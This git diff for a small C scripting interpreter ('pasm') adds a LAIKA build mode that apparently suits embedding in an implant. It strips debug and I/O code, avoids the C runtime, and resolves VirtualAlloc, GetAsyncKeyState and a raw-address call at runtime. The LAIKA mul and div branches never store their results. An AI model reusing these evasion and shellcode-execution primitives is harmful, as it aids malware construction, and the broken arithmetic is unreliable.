diff --git a/.gitignore b/.gitignore
index f713a6e..1fa41c6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -4,6 +4,8 @@ x64/
Debug/
Release/
build/
+bin
+obj
*.obj
*.a
*.o
diff --git a/Makefile b/Makefile
index a85fdfe..279d47b 100644
--- a/Makefile
+++ b/Makefile
@@ -1,38 +1,36 @@
-SRC = src/pasm.c \
- src/file_utils.c \
- src/interpreter_states.c \
- src/instructions.c \
- src/api.c \
- src/debug.c
+SRC = src/pasm.c \
+ src/file_utils.c \
+ src/interpreter_states.c \
+ src/instructions.c \
+ src/api.c \
+ src/debug.c \
+ src/libc.c
OBJ = $(SRC:.c=.o)
NAME = pasm
CC = gcc
CFLAGS = -Wall -Wextra -Wpedantic -Iinclude -s -Os -fno-ident -fno-asynchronous-unwind-tables
CLIBS = -lm
-all: $(NAME)
+all: $(NAME)
lib: $(OBJ)
- @-mkdir build
+ @mkdir -p build
ar rc build/lib$(NAME).a $(OBJ)
-$(NAME): fclean
$(NAME): lib
-$(NAME): CLIBS += build/lib$(NAME).a
-$(NAME):
- $(CC) tests/interpreter.c $(CFLAGS) $(CLIBS) -o build/$(NAME)
+ $(CC) $(CFLAGS) -o build/$(NAME) tests/interpreter.c build/lib$(NAME).a $(CLIBS)
interpreter: $(NAME)
clean:
- @-rm -f $(OBJ)
- @-cd tests && $(MAKE) clean
+ @rm -f $(OBJ)
+ @cd tests && $(MAKE) clean
fclean: clean
- @-rm -rf build/
- @-cd tests && $(MAKE) fclean
+ @rm -rf build/
+ @cd tests && $(MAKE) fclean
re: fclean
re: $(NAME)
-.PHONY : all $(NAME) clean fclean re interpreter lib
+.PHONY: all $(NAME) clean fclean re interpreter lib
\ No newline at end of file
diff --git a/examples/array.pasm b/examples/array.pasm
index c3ae3d9..52adf7a 100644
--- a/examples/array.pasm
+++ b/examples/array.pasm
@@ -21,7 +21,6 @@ jmp loop2
main:
mov a1, msg ; msg is a char *
-
loop:
cmp *a1, 0
jne 1
diff --git a/msvc/interpreter.vcxproj b/msvc/interpreter.vcxproj
index 9572e0f..92a17bd 100644
--- a/msvc/interpreter.vcxproj
+++ b/msvc/interpreter.vcxproj
@@ -72,19 +72,19 @@
true
- $(SolutionDir)$(Configuration);$(LibraryPath)
+ ..\bin;$(LibraryPath)
false
- $(SolutionDir)$(Configuration);$(LibraryPath)
+ ..\bin;$(LibraryPath)
true
- $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)
+ ..\bin;$(LibraryPath)
false
- $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)
+ ..\bin;$(LibraryPath)
diff --git a/msvc/interpreter.vcxproj.user b/msvc/interpreter.vcxproj.user
index 2c2cff5..4bb038a 100644
--- a/msvc/interpreter.vcxproj.user
+++ b/msvc/interpreter.vcxproj.user
@@ -1,7 +1,7 @@
- ../examples/shellcode.pasm
+ ../examples/array.pasm
WindowsLocalDebugger
diff --git a/msvc/pasm.vcxproj b/msvc/pasm.vcxproj
index dce9aba..718a4fd 100644
--- a/msvc/pasm.vcxproj
+++ b/msvc/pasm.vcxproj
@@ -72,15 +72,23 @@
true
+ ..\bin\
+ ..\obj\
false
+ ..\bin\
+ ..\obj\
true
+ ..\bin\
+ ..\obj\
false
+ ..\bin\
+ ..\obj\
@@ -89,6 +97,9 @@
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS
true
stdc17
+ Default
+ false
+ false
Console
@@ -98,6 +109,11 @@
pasm_run_script
+
+
+ /DLAIKA %(AdditionalOptions)
+
+
Level3
@@ -111,6 +127,8 @@
Size
None
MultiThreaded
+ false
+ false
Console
@@ -129,6 +147,9 @@
_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS
true
stdc17
+ Default
+ false
+ false
Console
@@ -151,6 +172,8 @@
Size
None
MultiThreaded
+ false
+ false
Console
@@ -168,6 +191,7 @@
+
@@ -176,6 +200,7 @@
+
diff --git a/msvc/pasm.vcxproj.filters b/msvc/pasm.vcxproj.filters
index 24bbf44..07910f2 100644
--- a/msvc/pasm.vcxproj.filters
+++ b/msvc/pasm.vcxproj.filters
@@ -25,6 +25,9 @@
pasm
+
+ pasm
+
@@ -42,5 +45,8 @@
pasm
+
+ pasm
+
\ No newline at end of file
diff --git a/msvc/socket_usage.vcxproj b/msvc/socket_usage.vcxproj
index d65a18e..954c98a 100644
--- a/msvc/socket_usage.vcxproj
+++ b/msvc/socket_usage.vcxproj
@@ -72,19 +72,19 @@
true
- $(SolutionDir)$(Configuration);$(LibraryPath)
+ ..\bin;$(LibraryPath);..\bin
false
- $(SolutionDir)$(Configuration);$(LibraryPath)
+ ..\bin;$(LibraryPath);..\bin
true
- $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)
+ $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin
false
- $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)
+ $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin
@@ -95,7 +95,7 @@
stdc17
- Windows
+ Console
true
pasm.lib;%(AdditionalDependencies)
@@ -111,7 +111,7 @@
stdc17
- Windows
+ Console
true
true
true
@@ -127,7 +127,7 @@
stdc17
- Windows
+ Console
true
pasm.lib;%(AdditionalDependencies)
@@ -143,7 +143,7 @@
stdc17
- Windows
+ Console
true
true
true
diff --git a/src/api.c b/src/api.c
index 407e9ea..58f6eb5 100644
--- a/src/api.c
+++ b/src/api.c
@@ -6,6 +6,7 @@
#endif
#include
+#include "libc.h"
#ifdef _WIN32
extern int dprintf(int stream, const char *format, ...);
@@ -17,8 +18,8 @@ void api_put() {
int f = fstream;
#ifdef _WIN32
- if (f == _fileno(stderr))
- f = _fileno(stdout);
+ if (f == 2) //stderr (could use _fileno(stderr) but it uses the stdlib)
+ f = 1; //stdout
#else
if (f == fileno(stderr))
f = fileno(stdout);
@@ -31,46 +32,68 @@ void api_put() {
dprintf(f, "%c", c); //using printf and not write because of the buffer
}
else {
- dprintf(f, "%lld", state->STACK[state->STACK_IDX--]);
+#ifdef _WIN32
+ dprintf(f, "%ld", state->STACK[state->STACK_IDX--]);
+#else
+ dprintf(f, "%lld", state->STACK[state->STACK_IDX--]);
+#endif
}
}
-void api_getasynckeystate() {
- #ifdef _WIN32
- state->registers->eax = GetAsyncKeyState((int)state->STACK[state->STACK_IDX--]);
- #else
- state->STACK_IDX--;
- state->registers->eax = 1;
- #endif
-}
-
-void api_virtualalloc() {
-#ifdef _WIN32
- long long address = state->STACK[state->STACK_IDX--];
- long long size = state->STACK[state->STACK_IDX--];
- long long alloctype = state->STACK[state->STACK_IDX--];
- long long flprotect = state->STACK[state->STACK_IDX--];
- state->registers->eax = (long long)VirtualAlloc((LPVOID)address, (SIZE_T)size, (DWORD)alloctype, (DWORD)flprotect);
-#else
- state->STACK_IDX -= 4;
- state->registers->eax = 1;
-#endif
-}
-
-void api_virtualfree() {
-#ifdef _WIN32
- long long address = state->STACK[state->STACK_IDX--];
- long long size = state->STACK[state->STACK_IDX--];
- long long freetype = state->STACK[state->STACK_IDX--];
- state->registers->eax = VirtualFree((LPVOID)address, (SIZE_T)size, (DWORD)freetype);
-#else
- state->STACK_IDX -= 3;
- state->registers->eax = 1;
-#endif
-}
-
void api_callrawaddr() {
long long address = state->STACK[state->STACK_IDX--];
((void (*)())address)();
}
+
+// generated APIs here
+
+#ifdef _WIN32
+ typedef LPVOID(WINAPI *fVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
+#endif
+void api_VirtualAlloc(void) {
+#ifdef _WIN32
+ fVirtualAlloc pVirtualAlloc = GetApi(L"kernel32.dll", "VirtualAlloc");
+ long long arg0 = state->STACK[state->STACK_IDX--];
+ long long arg1 = state->STACK[state->STACK_IDX--];
+ long long arg2 = state->STACK[state->STACK_IDX--];
+ long long arg3 = state->STACK[state->STACK_IDX--];
+ state->registers->eax = (long long)pVirtualAlloc((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2, (DWORD)arg3);
+#else
+ state->STACK_IDX -= 4;
+ state->registers->eax = 1;
+#endif
+}
+
+
+#ifdef _WIN32
+ typedef BOOL(WINAPI *fVirtualFree)(LPVOID, DWORD, DWORD);
+#endif
+void api_VirtualFree(void) {
+#ifdef _WIN32
+ fVirtualFree pVirtualFree = GetApi(L"kernel32.dll", "VirtualFree");
+ long long arg0 = state->STACK[state->STACK_IDX--];
+ long long arg1 = state->STACK[state->STACK_IDX--];
+ long long arg2 = state->STACK[state->STACK_IDX--];
+ state->registers->eax = (long long)pVirtualFree((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2);
+#else
+ state->STACK_IDX -= 3;
+ state->registers->eax = 1;
+#endif
+}
+
+
+#ifdef _WIN32
+ typedef SHORT(WINAPI *fGetAsyncKeyState)(int);
+#endif
+void api_GetAsyncKeyState(void) {
+#ifdef _WIN32
+ fGetAsyncKeyState pGetAsyncKeyState = GetApi(L"user32.dll", "GetAsyncKeyState");
+ long long arg0 = state->STACK[state->STACK_IDX--];
+ state->registers->eax = (long long)pGetAsyncKeyState((int)arg0);
+#else
+ state->STACK_IDX -= 1;
+ state->registers->eax = 1;
+#endif
+}
+
diff --git a/src/api.h b/src/api.h
index 89dc6f1..81bb96a 100644
--- a/src/api.h
+++ b/src/api.h
@@ -2,17 +2,25 @@
#include "instructions.h"
void api_put();
-void api_getasynckeystate();
-void api_virtualalloc();
-void api_virtualfree();
void api_callrawaddr();
+// generated APIs here
+void api_VirtualAlloc();
+void api_VirtualFree();
+void api_GetAsyncKeyState();
+
+//end
+
static const command_t api_map[] = {
{.command = "put", .fptr = api_put},
- {.command = "GetAsyncKeyState", .fptr = api_getasynckeystate},
- {.command = "VirtualAlloc", .fptr = api_virtualalloc},
- {.command = "VirtualFree", .fptr = api_virtualfree},
{.command = "CallRawAddress", .fptr = api_callrawaddr},
+// generated APIs here
+ {.command = "VirtualAlloc", .fptr = api_VirtualAlloc},
+ {.command = "VirtualFree", .fptr = api_VirtualFree},
+ {.command = "GetAsyncKeyState", .fptr = api_GetAsyncKeyState},
+
+//end
+
{.command = NULL, .fptr = NULL}
};
diff --git a/src/debug.c b/src/debug.c
index df9c161..1ee58ba 100644
--- a/src/debug.c
+++ b/src/debug.c
@@ -2,9 +2,11 @@
#include "interpreter_states.h"
#include
#include
+#include "libc.h"
#include "debug.h"
void show_registers() {
+#ifndef LAIKA
printf("--Registers--\n");
printf("a1: %-3lld | ", state->registers->a1);
printf("a2: %-3lld | ", state->registers->a2);
@@ -16,25 +18,31 @@ void show_registers() {
printf("a8: %-3lld | ", state->registers->a8);
printf("a9: %-3lld\n", state->registers->a9);
printf("eax: %-3lld\n\n", state->registers->eax);
+#endif
}
void show_stack() {
+#ifndef LAIKA
printf("--STACK--\n");
printf("Elements: %d\n\n", state->STACK_IDX);
for (int i = 0; i < state->STACK_IDX; i++)
printf("[%d]: %lld\n", i, state->STACK[state->STACK_IDX]);
printf("\n");
+#endif
}
void show_labels() {
+#ifndef LAIKA
printf("\n\n-----LABELS-----\n");
printf("format:\tlabel|line\n");
for (int i = 0; i < state->num_labels; i++)
printf("%s|%d\n", state->labels[i], state->labels_values[i]);
printf("\n\n-----LABELS-----\n");
+#endif
}
void show_arrays() {
+#ifndef LAIKA
printf("\n\n-----ARRAYS-----\n");
for (int i = 0; i < state->num_arrays; i++) {
printf("%s: ", state->ARRAYS_NAME[i]);
@@ -43,42 +51,52 @@ void show_arrays() {
printf("...\n");
}
printf("\n\n-----ARRAYS-----\n");
+#endif
}
void show_breakpoints(int *bp) {
+#ifndef LAIKA
printf("---Breakpoints---\n");
for (int i = 0; bp[i] != 0 && i < 255; i++) {
if (bp[i] + 1 == -1) continue; //deleted bp
printf("bp line %d\n", bp[i] + 1);
}
printf("---Breakpoints---\n");
+#endif
}
void show_states() {
+#ifndef LAIKA
printf("\n\n--------PASM STATE--------\n");
show_registers();
show_labels();
show_stack();
show_arrays();
printf("\n\n--------PASM STATE--------\n");
+#endif
}
void bp_add(int *bp, int line) {
+#ifndef LAIKA
int i = 0;
for (i = 0; bp[i] != 0 && bp[i] != -1 && i < 255; i++);
bp[i] = line;
+#endif
}
void bp_rem(int *bp, int line) {
+#ifndef LAIKA
int i = 0;
for (i = 0; bp[i] != 0 && i < 255; i++) {
if (bp[i] == line)
bp[i] = -2;
}
return;
+#endif
}
int add_breakpoint(char *in, int *bp) {
+#ifndef LAIKA
for (int i = 0; i < state->num_labels; i++) {
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
bp_add(bp, state->labels_values[i] + 1);
@@ -92,9 +110,11 @@ int add_breakpoint(char *in, int *bp) {
bp_add(bp, line - 1);
printf("breakpoint added at line %d.\n", line);
return 0;
+#endif
}
int rem_breakpoint(char *in, int *bp) {
+#ifndef LAIKA
for (int i = 0; i < state->num_labels; i++) {
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
bp_rem(bp, state->labels_values[i] + 1);
@@ -108,9 +128,11 @@ int rem_breakpoint(char *in, int *bp) {
bp_rem(bp, line - 1);
printf("breakpoint at line %d deleted.\n", line);
return 0;
+#endif
}
void debug_input(char *line) {
+#ifndef LAIKA
static int should_continue = 0;
static int breakpoints[256] = {0};
@@ -179,4 +201,5 @@ void debug_input(char *line) {
printf("d [line/label]: deletes a breakpoint on line line/label]\n");
}
}
+#endif
}
diff --git a/src/debug.h b/src/debug.h
index ea9fd76..d6ef6a4 100644
--- a/src/debug.h
+++ b/src/debug.h
@@ -1,3 +1,5 @@
#pragma once
+#include "libc.h"
+
void debug_input(char *line);
diff --git a/src/file_utils.c b/src/file_utils.c
index 30978b6..05e39ef 100644
--- a/src/file_utils.c
+++ b/src/file_utils.c
@@ -3,6 +3,7 @@
#include
#include "interpreter_states.h"
+#include "libc.h"
#define MAX_LINE 2048
@@ -12,6 +13,7 @@ extern int dprintf(int stream, const char *format, ...);
size_t line_count = 0;
int read_script(const char *filename, char ***buf, size_t *lines) {
+#ifndef LAIKA
FILE *script = fopen(filename, "r");
if (script == NULL) {
dprintf(fstream, "Could not open %s.\n", filename);
@@ -25,11 +27,11 @@ int read_script(const char *filename, char ***buf, size_t *lines) {
line[length - 1] = '\0';
}
#ifdef _WIN32
- char *line_copy = _strdup(line);
+ char *line_copy = strdup_(line);
#else
char *line_copy = strdup(line);
#endif
- char **temp = realloc(*buf, (line_count + 1) * sizeof(char*));
+ char **temp = realloc_(*buf, (line_count + 1) * sizeof(char*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return 1;
@@ -44,15 +46,16 @@ int read_script(const char *filename, char ***buf, size_t *lines) {
*lines = line_count;
fclose(script);
+#endif
return 0;
}
-void free_script(char **buf) {
+void free__script(char **buf) {
if (!buf)
return;
for (size_t i = 0; i < line_count; ++i)
if (buf[i])
- free(buf[i]);
- free(buf);
- free_state();
+ free_(buf[i]);
+ free_(buf);
+ free__state();
}
diff --git a/src/file_utils.h b/src/file_utils.h
index 93bd6b1..764418a 100644
--- a/src/file_utils.h
+++ b/src/file_utils.h
@@ -2,4 +2,4 @@
#include
int read_script(const char *filename, char ***buf, size_t *lines);
-void free_script(char **buf);
+void free__script(char **buf);
diff --git a/src/instructions.c b/src/instructions.c
index 96959af..824ba13 100644
--- a/src/instructions.c
+++ b/src/instructions.c
@@ -1,13 +1,14 @@
#include "instructions.h"
#include "interpreter_states.h"
#include "api.h"
+#include "libc.h"
#include
#include
#include
bool is_array(char* arg) {
for (int i = 0; i < state->num_arrays; i++)
- if (strcmp(state->ARRAYS_NAME[i], arg) == 0)
+ if (strcmp__(state->ARRAYS_NAME[i], arg) == 0)
return true;
return false;
}
@@ -17,17 +18,17 @@ bool is_reg(char* arg) {
++arg;
if (is_array(arg))
return true;
- return (strcmp(arg, "eax") == 0) || (((arg[0] == 'a' &&
+ return (strcmp__(arg, "eax") == 0) || (((arg[0] == 'a' &&
('1' <= arg[1] && arg[1] <= '9'))) && strlen(arg) == 2);
}
bool is_num(char* arg) {
- return (atoi(arg) != 0 || (arg[0] == '0' && strlen(arg) == 1));
+ return (strtol_(arg, NULL, 10) != 0 || (arg[0] == '0' && strlen(arg) == 1));
}
bool check_args(s_arguments *args, int num_in_first, int num_args) {
- int arg_num = strcmp(args->arg2, "") != 0;
- arg_num += strcmp(args->arg1, "") != 0;
+ int arg_num = strcmp__(args->arg2, "") != 0;
+ arg_num += strcmp__(args->arg1, "") != 0;
if (arg_num != num_args) {
state->last_check_args_code = WRONG_NUMBER;
return false;
@@ -50,7 +51,7 @@ long long* get_reg(char* reg_char) {
if (reg_char[0] == '&' || reg_char[0] == '*')
++reg_char;
for (int i = 0; i < state->num_arrays; i++)
- if (strcmp(state->ARRAYS_NAME[i], reg_char) == 0)
+ if (strcmp__(state->ARRAYS_NAME[i], reg_char) == 0)
return (long long *)&state->ARRAYS_VALUES[i];
switch (reg_char[1]) {
case '1' :
@@ -91,9 +92,9 @@ long long get_value(char* arg) {
}
else {
if (strlen(arg) > 2 && arg[0] == '0' && arg[1] == 'x') {
- ret = strtol(arg, NULL, 16);
+ ret = strtol_(arg, NULL, 16);
}
- ret = atoi(arg);
+ ret = strtol_(arg, NULL, 10);
}
return ret;
}
@@ -103,7 +104,7 @@ const command_t *find_command(const command_t *commands, char *func)
if (func == NULL)
return NULL;
for (int index = 0; commands[index].fptr != NULL; index += 1) {
- if (strcmp(func, commands[index].command) == 0) {
+ if (strcmp__(func, commands[index].command) == 0) {
return &commands[index];
}
}
@@ -151,7 +152,7 @@ void ret() {
void jmp() {
if (state->RET_STACK_IDX != -1 && !check_ret_stack()) return;
- if (strcmp(state->args->arg1, "return") == 0) {
+ if (strcmp__(state->args->arg1, "return") == 0) {
ret();
return;
}
@@ -161,13 +162,13 @@ void jmp() {
if (state->labels[i] == NULL) break;
if (strlen(state->labels[i]) - 1 != strlen(state->args->arg1))
continue;
- if (strncmp(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) {
+ if (strncmp__(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) {
state->RET_STACK[++state->RET_STACK_IDX] = state->curr_line;
state->curr_line = state->labels_values[i];
return;
}
}
- int line_off = atoi(state->args->arg1);
+ int line_off = strtol_(state->args->arg1, NULL, 10);
if (line_off) {
state->curr_line += line_off;
return;
@@ -222,7 +223,9 @@ void _sqrt() {
return;
}
+#ifndef LAIKA //Realistically Laika won't ever need sqrt, + that creates linker errors with the CRT
*get_reg(state->args->arg1) = (long long)sqrt(get_value(state->args->arg1));
+#endif
}
void neg() {
@@ -238,7 +241,30 @@ void mul() {
return;
}
+#ifdef LAIKA
+ //MSVC wants to link __allmul, but a mul is just a lot of add, isn't it ?
+
+ long long v1 = *get_reg(state->args->arg1);
+ long long v2 = get_value(state->args->arg2);
+ long long result = 0;
+ int isNegative = 0;
+
+ if (v1 < 0) {
+ v1 = -v1;
+ isNegative = !isNegative;
+ }
+ if (v2 < 0) {
+ v2 = -v2;
+ isNegative = !isNegative;
+ }
+ while (v2 > 0) {
+ result += v1;
+ v2--;
+ }
+ v1 = isNegative ? -result : result;
+#else
*get_reg(state->args->arg1) *= get_value(state->args->arg2);
+#endif
}
void _div() {
@@ -246,7 +272,32 @@ void _div() {
return;
}
+#ifdef LAIKA
+ //MSVC wants to link __alldiv, but a div is just a lot of sub, isn't it ?
+
+ long long dividend = *get_reg(state->args->arg1);
+ long long divisor = get_value(state->args->arg2);
+
+ long long quotient = 0;
+ long long sign = 1;
+
+ if (dividend < 0) {
+ dividend = -dividend;
+ sign = -sign;
+ }
+ if (divisor < 0) {
+ divisor = -divisor;
+ sign = -sign;
+ }
+ while (dividend >= divisor) {
+ dividend -= divisor;
+ quotient++;
+ }
+
+ dividend = sign * quotient;
+#else
*get_reg(state->args->arg1) /= get_value(state->args->arg2);
+#endif
}
void mov() {
diff --git a/src/interpreter_states.c b/src/interpreter_states.c
index 9620ecb..27bcf78 100644
--- a/src/interpreter_states.c
+++ b/src/interpreter_states.c
@@ -1,4 +1,5 @@
#include "interpreter_states.h"
+#include "libc.h"
#include
#include
#include
@@ -9,42 +10,42 @@ extern int dprintf(int stream, const char *format, ...);
s_state *state = NULL;
int init_state() {
- state = malloc(sizeof(s_state));
+ state = malloc_(sizeof(s_state));
if (state == NULL)
return 1;
- memset(state, 0, sizeof(s_state));
- state->registers = malloc(sizeof(s_registers));
+ memset__(state, 0, sizeof(s_state));
+ state->registers = malloc_(sizeof(s_registers));
if (state->registers == NULL) {
- free(state);
+ free_(state);
return 1;
}
- memset(state->registers, 0, sizeof(s_registers));
- state->args = malloc(sizeof(s_arguments));
+ memset__(state->registers, 0, sizeof(s_registers));
+ state->args = malloc_(sizeof(s_arguments));
if (state->args == NULL) {
- free(state->registers);
- free(state);
+ free_(state->registers);
+ free_(state);
return 1;
}
- state->args->arg1 = malloc(sizeof(char) * MAX_ARG_SIZE);
- state->args->arg2 = malloc(sizeof(char) * MAX_ARG_SIZE);
+ state->args->arg1 = malloc_(sizeof(char) * MAX_ARG_SIZE);
+ state->args->arg2 = malloc_(sizeof(char) * MAX_ARG_SIZE);
if (state->args->arg1 == NULL || state->args->arg2 == NULL) {
- free(state->registers);
- free(state);
+ free_(state->registers);
+ free_(state);
return 1;
}
- memset(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE);
- memset(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE);
- state->labels_values = malloc(sizeof(int) * MAX_LABELS);
+ memset__(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE);
+ memset__(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE);
+ state->labels_values = malloc_(sizeof(int) * MAX_LABELS);
if (state->labels_values == NULL) {
- free(state->registers);
- free(state->args->arg1);
- free(state->args->arg2);
- free(state);
+ free_(state->registers);
+ free_(state->args->arg1);
+ free_(state->args->arg2);
+ free_(state);
return 1;
}
- memset(state->labels_values, 0, sizeof(int) * MAX_LABELS);
- memset(state->RET_STACK, -1, sizeof(int) * STACK_SIZE);
- memset(state->STACK, 0, sizeof(long long) * STACK_SIZE);
+ memset__(state->labels_values, 0, sizeof(int) * MAX_LABELS);
+ memset__(state->RET_STACK, -1, sizeof(int) * STACK_SIZE);
+ memset__(state->STACK, 0, sizeof(long long) * STACK_SIZE);
state->num_arrays = 0;
state->RET_STACK_IDX = -1;
state->STACK_IDX = -1;
@@ -54,28 +55,28 @@ int init_state() {
return 0;
}
-void free_state() {
+void free__state() {
for (int i = 0; i < state->num_labels; i++) {
if (state->labels[i])
- free(state->labels[i]);
+ free_(state->labels[i]);
}
- free(state->labels);
- free(state->labels_values);
+ free_(state->labels);
+ free_(state->labels_values);
for (int j = 0; j < state->num_arrays; j++) {
if (state->ARRAYS_NAME[j])
- free(state->ARRAYS_NAME[j]);
+ free_(state->ARRAYS_NAME[j]);
if (state->ARRAYS_VALUES[j])
- free(state->ARRAYS_VALUES[j]);
+ free_(state->ARRAYS_VALUES[j]);
}
- free(state->ARRAYS_NAME);
- free(state->ARRAYS_VALUES);
- free(state->registers);
- free(state->args->arg1);
- free(state->args->arg2);
- free(state->args);
+ free_(state->ARRAYS_NAME);
+ free_(state->ARRAYS_VALUES);
+ free_(state->registers);
+ free_(state->args->arg1);
+ free_(state->args->arg2);
+ free_(state->args);
- free(state);
+ free_(state);
}
void set_exit_state(int exit_state) {
@@ -93,11 +94,11 @@ LABEL_ERR add_label(char *label, int line) {
return LABEL_MAX;
for (int i = 0; i < state->num_labels; i++)
- if (strcmp(label, state->labels[i]) == 0)
+ if (strcmp__(label, state->labels[i]) == 0)
return LABEL_ALREADY_EXISTS;
#ifdef _WIN32
- char *line_copy = _strdup(label);
+ char *line_copy = strdup_(label);
#else
char *line_copy = strdup(label);
#endif
@@ -105,7 +106,7 @@ LABEL_ERR add_label(char *label, int line) {
dprintf(fstream, "Error allocating memory.\n");
return LABEL_ERROR;
}
- char **temp = realloc(state->labels, (state->num_labels + 1) * sizeof(char*));
+ char **temp = realloc_(state->labels, (state->num_labels + 1) * sizeof(char*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return LABEL_ERROR;
@@ -118,35 +119,35 @@ LABEL_ERR add_label(char *label, int line) {
ARRAY_ERR add_array(char* line) {
#ifdef _WIN32
- char *line_copy = _strdup(line);
+ char *line_copy = strdup_(line);
#else
char *line_copy = strdup(line);
#endif
- if (strncmp(line, "set", 3) != 0) {
- free(line_copy);
+ if (strncmp__(line, "set", 3) != 0) {
+ free_(line_copy);
return ARRAY_NOT_AN_ARRAY;
}
- char *ptr = strtok(line_copy, " "); //set
- ptr = strtok(NULL, " "); //array name
+ char *ptr = strtok_(line_copy, " "); //set
+ ptr = strtok_(NULL, " "); //array name
if (ptr == NULL || strlen(line) <= (4 + strlen(ptr))) {
- free(line_copy);
+ free_(line_copy);
return ARRAY_ERROR;
}
- char **temp = realloc(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*));
+ char **temp = realloc_(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
state->ARRAYS_NAME = temp;
#ifdef _WIN32
- state->ARRAYS_NAME[state->num_arrays] = _strdup(ptr);
+ state->ARRAYS_NAME[state->num_arrays] = strdup_(ptr);
#else
state->ARRAYS_NAME[state->num_arrays] = strdup(ptr);
#endif
ptr += strlen(ptr) + 1; //getting the data in the array, data is data after all
if (ptr == NULL || ptr[0] == ' ' || ptr[0] == '\0') {
- free(line_copy);
+ free_(line_copy);
return ARRAY_ERROR;
}
@@ -157,19 +158,19 @@ ARRAY_ERR add_array(char* line) {
++ptr;
while (*ptr++ != '"') {
if (*ptr == '\0') {
- free(line_copy);
+ free_(line_copy);
return ARRAY_ERROR; //" is never closed
}
++array_size;
}
- long long *tmp = realloc(arr, array_size * sizeof(long long));
+ long long *tmp = realloc_(arr, array_size * sizeof(long long));
if (tmp == NULL || array_size == 0) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
arr = tmp;
- memset(arr, 0, array_size);
- long long **temp = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
+ memset__(arr, 0, array_size);
+ long long **temp = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
@@ -180,10 +181,10 @@ ARRAY_ERR add_array(char* line) {
++ptr;
while (*ptr != '"') {
if (*ptr == '\0' || i >= array_size) {
- free(line_copy);
+ free_(line_copy);
return ARRAY_ERROR; //" is never closed
}
- if (strncmp(ptr, "\\0", 2) == 0) {
+ if (strncmp__(ptr, "\\0", 2) == 0) {
arr[i++] = 0;
break;
}
@@ -192,58 +193,58 @@ ARRAY_ERR add_array(char* line) {
state->ARRAYS_VALUES[state->num_arrays++] = arr;
return ARRAY_OK;
}
- ptr = strtok(ptr, ",");
+ ptr = strtok_(ptr, ",");
while (ptr != NULL) {
array_size++;
- ptr = strtok(NULL, ",");
+ ptr = strtok_(NULL, ",");
}
- long long *tmp2 = realloc(arr, array_size * sizeof(long long));
+ long long *tmp2 = realloc_(arr, array_size * sizeof(long long));
if (tmp2 == NULL || array_size == 0) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
arr = tmp2;
- memset(arr, 0, array_size);
- long long **temp2 = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
+ memset__(arr, 0, array_size);
+ long long **temp2 = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
if (temp2 == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
state->ARRAYS_VALUES = temp2;
ptr = line + 4 + strlen(state->ARRAYS_NAME[state->num_arrays]) + 1; //leave me alone i'm tired
- ptr = strtok(ptr, ",");
+ ptr = strtok_(ptr, ",");
int j = 0;
while (ptr != NULL && j < array_size) {
if (ptr[0] == ' ')
++ptr;
if (strlen(ptr) > 2 && ptr[0] == '0' && ptr[1] == 'x') {
- arr[j++] = strtol(ptr, NULL, 16);
+ arr[j++] = strtol_(ptr, NULL, 16);
}
else {
- arr[j++] = atoi(ptr);
+ arr[j++] = strtol_(ptr, NULL, 10);
}
- ptr = strtok(NULL, ",");
+ ptr = strtok_(NULL, ",");
}
state->ARRAYS_VALUES[state->num_arrays++] = arr;
- free(line_copy);
+ free_(line_copy);
return ARRAY_OK;
}
char *extract_arg(char *ptr, int a) {
char *arg = 0;
- char *ptr2 = strstr(ptr, ";");
+ char *ptr2 = strstr__(ptr, ";");
if (ptr2)
ptr2[0] = '\0';
if (a == 0) {
- arg = strtok(ptr, ",");
+ arg = strtok_(ptr, ",");
} else {
- arg = strtok(NULL, ",");
+ arg = strtok_(NULL, ",");
}
if (arg == NULL)
return NULL;
if (arg[0] == ' ')
arg++;
- ptr2 = strstr(arg, " ");
+ ptr2 = strstr__(arg, " ");
if (ptr2)
ptr2[0] = '\0';
return arg;
@@ -267,26 +268,26 @@ int parse_arguments(char *line) {
strcpy(state->args->arg2, "");
#ifdef _WIN32
- char *line_cpy = _strdup(line);
+ char *line_cpy = strdup_(line);
#else
char *line_cpy = strdup(line);
#endif
- char *ptr = strstr(line_cpy, " ");
+ char *ptr = strstr__(line_cpy, " ");
char *arg = 0;
if (!ptr) {
- free(line_cpy);
+ free_(line_cpy);
return 0;
}
if ((arg = extract_arg(ptr, 0)) == NULL) {
- free(line_cpy);
+ free_(line_cpy);
return 0;
}
strcpy(state->args->arg1, arg);
if ((arg = extract_arg(ptr, 1)) == NULL) {
- free(line_cpy);
